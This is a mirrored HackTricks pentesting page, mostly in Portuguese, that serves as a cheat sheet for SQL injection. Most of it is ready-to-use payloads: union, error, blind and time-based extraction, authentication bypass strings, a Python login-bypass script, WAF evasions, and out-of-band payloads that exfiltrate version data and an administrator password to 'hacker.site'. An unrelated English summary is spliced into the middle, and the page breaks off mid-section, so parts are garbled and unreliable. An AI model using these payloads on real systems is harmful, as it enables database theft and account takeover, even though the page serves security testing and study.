mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
656 lines
36 KiB
Markdown
656 lines
36 KiB
Markdown
# Injeção de SQL
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de segurança cibernética mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## O que é injeção de SQL?
|
||
|
||
A injeção de SQL é uma vulnerabilidade de segurança na web que permite a um invasor **interferir** nas **consultas** que um aplicativo faz ao seu **banco de dados**. Geralmente, permite que um invasor **visualize dados** que normalmente não seria capaz de recuperar. Isso pode incluir dados pertencentes a **outros usuários**, ou qualquer outro dado que o **próprio aplicativo** seja capaz de **acessar**. Em muitos casos, um invasor pode **modificar** ou **excluir** esses dados, causando alterações persistentes no conteúdo ou comportamento do aplicativo.\
|
||
Em algumas situações, um invasor pode escalar um ataque de injeção de SQL para **comprometer o servidor subjacente** ou outra infraestrutura de back-end, ou realizar um ataque de negação de serviço. (De [aqui](https://portswigger.net/web-security/sql-injection)).
|
||
|
||
> Neste POST, vou supor que encontramos uma possível injeção de SQL e vamos discutir possíveis métodos para confirmar a injeção de SQL, reconhecer o banco de dados e realizar ações.
|
||
|
||
## Detecção do ponto de entrada
|
||
|
||
Você pode ter encontrado um site que é **aparentemente vulnerável à injeção de SQL** apenas porque o servidor está se comportando de forma estranha com entradas relacionadas à injeção de SQL. Portanto, a **primeira coisa** que você precisa fazer é descobrir como **injetar dados na consulta sem quebrá-la**. Para fazer isso, você primeiro precisa descobrir como **escapar do contexto atual**.\
|
||
Estes são alguns exemplos úteis:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||
|
||
Observe que se você puder ver mensagens de erro ou detectar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil.
|
||
|
||
### **Comentários**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirmando com operações lógicas
|
||
|
||
Uma das melhores maneiras de confirmar uma injeção de SQL é fazendo com que ela execute uma **operação lógica** e tendo os resultados esperados.\
|
||
Por exemplo: se o parâmetro GET `?username=Peter` retorna o mesmo conteúdo que `?username=Peter' or '1'='1`, então você encontrou uma injeção de SQL.
|
||
|
||
Você também pode aplicar esse conceito a **operações matemáticas**. Exemplo: Se `?id=1` retorna o mesmo que `?id=2-1`, SQLinjection.
|
||
```
|
||
page.asp?id=1 or 1=1 -- true
|
||
page.asp?id=1' or 1=1 -- true
|
||
page.asp?id=1" or 1=1 -- true
|
||
page.asp?id=1 and 1=2 -- false
|
||
```
|
||
Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da maneira proposta:
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Confirmando com Timing
|
||
|
||
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer com que o banco de dados execute ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
||
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
Em alguns casos, as **funções de sleep não serão permitidas**. Nesses casos, em vez de usar essas funções, você pode fazer com que a consulta execute **operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver)_.
|
||
|
||
### Identificando o Back-end
|
||
|
||
A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você pode usar as **funções de sleep** da seção anterior ou estas:
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Além disso, se você tiver acesso à saída da consulta, poderá fazer com que ela **imprima a versão do banco de dados**.
|
||
|
||
{% hint style="info" %}
|
||
A seguir, vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Usaremos o MySQL como exemplo.
|
||
{% endhint %}
|
||
|
||
### Identificando com PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Explorando Baseado em Union
|
||
|
||
### Detectando o número de colunas
|
||
|
||
Se você puder ver a saída da consulta, esta é a melhor maneira de explorá-la.\
|
||
Em primeiro lugar, precisamos descobrir o **número** de **colunas** que a **consulta inicial** está retornando. Isso ocorre porque **ambas as consultas devem retornar o mesmo número de colunas**.\
|
||
Dois métodos são tipicamente usados para esse propósito:
|
||
|
||
#### Order/Group by
|
||
|
||
Continue incrementando o número até obter uma resposta Falsa. Embora GROUP BY e ORDER BY tenham funcionalidades diferentes no SQL, ambos podem ser usados da mesma maneira para determinar o número de colunas na consulta.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Selecione cada vez mais valores nulos até que a consulta esteja correta:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_Você deve usar valores `null` em alguns casos, já que o tipo das colunas de ambos os lados da consulta devem ser iguais e `null` é válido em todos os casos._
|
||
|
||
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
|
||
|
||
Nos próximos exemplos, vamos recuperar o nome de todos os bancos de dados, o nome da tabela de um banco de dados e os nomes das colunas da tabela:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma.
|
||
|
||
## Explorando Union Based Oculto
|
||
|
||
Se você pode ver a saída da consulta, mas não pode alcançar uma injeção baseada em union, está lidando com uma injeção baseada em union oculta.\
|
||
Nessa situação, você acaba com uma injeção cega. Para transformar a injeção cega em uma baseada em union, você precisa extrair a consulta que está sendo executada no backend.\
|
||
Você pode fazer isso usando a injeção cega e as tabelas padrão do seu DBMS de destino. Para aprender sobre essas tabelas padrão, leia a documentação do seu DBMS de destino.\
|
||
Depois de extrair a consulta, você precisa ajustar sua carga útil adequadamente, fechando a consulta original com segurança. Em seguida, anexe uma consulta de união à sua carga útil e comece a explorar a injeção baseada em união recém-obtida.
|
||
|
||
Artigo completo: https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
|
||
|
||
## Explorando Error Based
|
||
|
||
Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrem** dados do banco de dados.\
|
||
Seguindo um fluxo semelhante à exploração baseada em Union, você pode conseguir despejar o banco de dados.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Explorando Blind SQLi
|
||
|
||
Neste caso, você não pode ver os resultados da consulta ou os erros, mas pode **distinguir** quando a consulta **retorna** uma resposta **verdadeira** ou **falsa** porque há conteúdos diferentes na página.\
|
||
Nesse caso, você pode abusar desse comportamento para despejar o banco de dados caractere por caractere:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Explorando SQLi Cego por Erro
|
||
|
||
Este é o **mesmo caso que antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode distinguir entre um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que adivinhar corretamente o caractere:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Explorando SQLi baseado em tempo
|
||
|
||
Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da consulta com base no contexto da página. Mas, você pode fazer a página **levar mais tempo para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica sendo usada antes para [confirmar uma vulnerabilidade de SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Consultas Empilhadas
|
||
|
||
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que enquanto as consultas subsequentes são executadas, os **resultados** não são **retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
|
||
|
||
**Oracle** não suporta **consultas empilhadas**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
|
||
|
||
## Exploração fora de banda
|
||
|
||
Se **nenhum outro** método de exploração **funcionou**, você pode tentar fazer com que o **banco de dados exfiltre** as informações para um **host externo** controlado por você. Por exemplo, por meio de consultas DNS:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Exfiltração de dados fora de banda via XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Exploração Automatizada
|
||
|
||
Verifique o [SQLMap Cheetsheat](sqlmap/) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informações específicas de tecnologia
|
||
|
||
Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais truques dependentes de tecnologia de banco de dados neste livro:
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
Ou você encontrará **muitos truques sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Bypass de autenticação
|
||
|
||
Lista para tentar burlar a funcionalidade de login:
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypass de autenticação (MD5 bruto)
|
||
|
||
Quando um MD5 bruto é usado, a senha será consultada como uma string simples, não uma string hexadecimal.
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Permitir que um atacante crie uma string com uma declaração `true`, como `' or 'SOMETHING`.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
```
|
||
### Bypass de Autenticação por Hash
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Lista recomendada**:
|
||
|
||
Você deve usar como nome de usuário cada linha da lista e como senha sempre: _**Pass1234.**_\
|
||
_(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### GBK Autenticação Bypass
|
||
|
||
Se ' está sendo escapado, você pode usar %A8%27, e quando ' é escapado, será criado: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Script Python:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Injeção Poliglota (multicontexto)
|
||
|
||
Polyglot injection is a technique that allows an attacker to execute different types of SQL injection attacks in a single payload, depending on the context in which the payload is executed. This technique is useful when the attacker is unsure of the database management system being used or when the payload needs to bypass multiple security measures.
|
||
|
||
A polyglot injection payload is crafted in such a way that it is valid SQL syntax for multiple database management systems. For example, a payload can be crafted to be valid for both MySQL and Microsoft SQL Server. When the payload is executed, the database management system will interpret it as valid SQL syntax and execute the corresponding SQL injection attack.
|
||
|
||
Polyglot injection payloads can be created using techniques such as conditional statements, inline comments, and string concatenation. These techniques allow the payload to be valid SQL syntax for multiple database management systems.
|
||
|
||
It is important to note that polyglot injection payloads can be more complex and difficult to craft than traditional SQL injection payloads. However, they can be very effective in bypassing security measures and executing successful SQL injection attacks.
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Instrução Insert
|
||
|
||
### Modificar a senha de um objeto/usuário existente
|
||
|
||
Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto principal"** (provavelmente **admin** no caso de usuários) modificando algo:
|
||
|
||
* Criar um usuário chamado: **AdMIn** (letras maiúsculas e minúsculas)
|
||
* Criar um usuário chamado: **admin=**
|
||
* **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com o nome: **admin \[muitos espaços] a**
|
||
|
||
#### Ataque de Truncamento SQL
|
||
|
||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
||
|
||
O banco de dados irá **verificar** se o **nome de usuário** **introduzido** **existe** dentro do banco de dados. Se **não**, ele irá **cortar** o **nome de usuário** para o **número máximo permitido de caracteres** (neste caso para: "_admin \[25 espaços]_") e, em seguida, **removerá automaticamente todos os espaços no final atualizando** dentro do banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que isso não tenha funcionado).
|
||
|
||
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Observação: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem o espaço em branco no final por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro e a inserção falhará. Para obter mais informações sobre isso, verifique_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
|
||
|
||
### Verificação baseada em tempo de inserção do MySQL
|
||
|
||
Adicione tantos `','',''` quanto você considerar para sair da declaração VALUES. Se houver um atraso, você tem uma SQLInjection.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
A palavra-chave ON DUPLICATE KEY UPDATE é usada para informar ao MySQL o que fazer quando a aplicação tenta inserir uma linha que já existe na tabela. Podemos usar isso para alterar a senha do administrador por:
|
||
```
|
||
Inject using payload:
|
||
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
||
|
||
The query would look like this:
|
||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
||
|
||
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
||
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
||
|
||
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
||
```
|
||
### Extrair informações
|
||
|
||
#### Criando 2 contas ao mesmo tempo
|
||
|
||
Ao tentar criar um novo usuário, são necessários um nome de usuário, uma senha e um e-mail:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Usando decimal ou hexadecimal
|
||
|
||
Com essa técnica, você pode extrair informações criando apenas 1 conta. É importante notar que você não precisa comentar nada.
|
||
|
||
Usando **hex2dec** e **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
```bash
|
||
cat /hive/hacktricks/pentesting-web/sql-injection/README.md
|
||
```
|
||
|
||
# SQL Injection
|
||
|
||
SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.
|
||
|
||
## Basic SQL Injection
|
||
|
||
### Identify the Injection Point
|
||
|
||
The first step in exploiting a SQL injection is to identify the injection point. This is the location in the web application's code where the user's input is included in an SQL statement.
|
||
|
||
### Determine the Number of Columns
|
||
|
||
Once you have identified an injection point, you can determine the number of columns in the query by using the `ORDER BY` clause.
|
||
|
||
### Determine the Type of Columns
|
||
|
||
After you have determined the number of columns in the query, you can determine the type of each column by using the `UNION SELECT` statement.
|
||
|
||
### Extract Data
|
||
|
||
Once you have determined the number and type of columns in the query, you can extract data from the database by using the `UNION SELECT` statement.
|
||
|
||
## Advanced SQL Injection
|
||
|
||
### Blind SQL Injection
|
||
|
||
Blind SQL injection is a technique that allows an attacker to retrieve information from a database without knowing the exact syntax of the SQL query.
|
||
|
||
### Time-Based Blind SQL Injection
|
||
|
||
Time-based blind SQL injection is a technique that allows an attacker to retrieve information from a database by sending a series of SQL queries that cause a time delay in the application's response.
|
||
|
||
### Out-of-Band SQL Injection
|
||
|
||
Out-of-band SQL injection is a technique that allows an attacker to retrieve information from a database using a different channel than the web application.
|
||
|
||
## SQL Injection Prevention
|
||
|
||
### Prepared Statements
|
||
|
||
Prepared statements are a technique used to execute the same SQL statement repeatedly with high efficiency.
|
||
|
||
### Parameterized Queries
|
||
|
||
Parameterized queries are a technique used to execute the same SQL statement repeatedly with high efficiency, while allowing for user input.
|
||
|
||
### Input Validation
|
||
|
||
Input validation is a technique used to ensure that user input is within the expected range of values.
|
||
|
||
### Escaping
|
||
|
||
Escaping is a technique used to prevent SQL injection by escaping special characters in user input.
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Usando **hex** e **replace** (e **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Injeção SQL roteada
|
||
|
||
A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Exemplo:
|
||
```sql
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## Bypass do WAF
|
||
|
||
### Bypass sem espaços
|
||
|
||
Sem espaço (%20) - bypass usando alternativas de espaços em branco
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
# Sem Espaços em Branco - bypass usando comentários
|
||
|
||
Às vezes, o filtro de entrada pode ser configurado para remover todos os espaços em branco da entrada. Isso pode ser um problema para injeções de SQL, pois a maioria das palavras-chave do SQL é separada por espaços em branco. No entanto, é possível contornar essa restrição usando comentários.
|
||
|
||
A sintaxe do comentário em SQL é `--`. Qualquer coisa após `--` será ignorada pelo interpretador SQL. Portanto, podemos usar comentários para separar palavras-chave do SQL que normalmente seriam separadas por espaços em branco.
|
||
|
||
Por exemplo, em vez de usar a seguinte consulta:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password='password'
|
||
```
|
||
|
||
Podemos usar a seguinte consulta sem espaços em branco:
|
||
|
||
```
|
||
SELECT/**/*/**/FROM/**/users/**/WHERE/**/username='admin'/**/AND/**/password='password'
|
||
```
|
||
|
||
Observe que usamos `/**/` para separar as palavras-chave do SQL. Isso é interpretado como um comentário pelo interpretador SQL e, portanto, é ignorado.
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
# Sem Espaços em Branco - bypass usando parênteses
|
||
|
||
Em alguns casos, o filtro de entrada pode ser projetado para detectar a palavra-chave `OR` ou `AND` e, em seguida, bloquear a consulta. No entanto, é possível contornar essa restrição usando parênteses.
|
||
|
||
